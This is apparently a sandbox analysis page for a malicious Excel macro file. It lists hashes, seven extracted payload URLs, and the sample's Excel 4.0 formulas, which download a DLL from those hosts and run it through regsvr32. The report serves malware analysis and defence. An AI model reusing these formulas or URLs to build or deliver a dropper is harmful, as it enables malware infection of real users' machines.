Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Behavioral task
behavioral1
Sample
41314a952c25167f369f58639829296c3a2976325b7187ac06c8be4902610d55.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
41314a952c25167f369f58639829296c3a2976325b7187ac06c8be4902610d55.xlsm
Resource
win10v2004-20241007-en
General
-
Target
41314a952c25167f369f58639829296c3a2976325b7187ac06c8be4902610d55
-
Size
20KB
-
MD5
23218a235b0feb7477598fb1e730b46f
-
SHA1
26d9dcf5ba8c5c743f2aff0eddff8a4294d02439
-
SHA256
41314a952c25167f369f58639829296c3a2976325b7187ac06c8be4902610d55
-
SHA512
859cdf08cf8cf2abd8efa8c6c8cd96cafd08e4f74fc73ce089d1dafc5cbdf1be707d85dd9bdbad1dc4b63f02b0d0177be7066d19e88ff666b64c07f52ec961d2
-
SSDEEP
384:GKAVb1GNjYTo4CGzPd6ZIwL0AOKb5CzgObff9kC+xbX7jvIv:GKYINmo4FLyCBn9kC+xbLA
Malware Config
Extracted
https://www.manchesterslt.co.uk/a-to-z-of-slt/9wq2ESVcG/
http://festival.artdialog.ch/contact/RGhcwH4DRBM/
http://bramynapilota.com.pl/wp-admin/NHk/
http://brwconsultoria.com.br/img/Vl0i9o/
http://buildershyper.co.za/s6Oe/
http://business-tailor.nl/ww12/Kz7GjU/
https://eephysiotherapy.co.uk/blog/mn1d1JScv1CIg4aTy/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.manchesterslt.co.uk/a-to-z-of-slt/9wq2ESVcG/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://festival.artdialog.ch/contact/RGhcwH4DRBM/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bramynapilota.com.pl/wp-admin/NHk/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://brwconsultoria.com.br/img/Vl0i9o/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://buildershyper.co.za/s6Oe/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://business-tailor.nl/ww12/Kz7GjU/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://eephysiotherapy.co.uk/blog/mn1d1JScv1CIg4aTy/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()
Signatures
Files
-
41314a952c25167f369f58639829296c3a2976325b7187ac06c8be4902610d55.xlsm office2007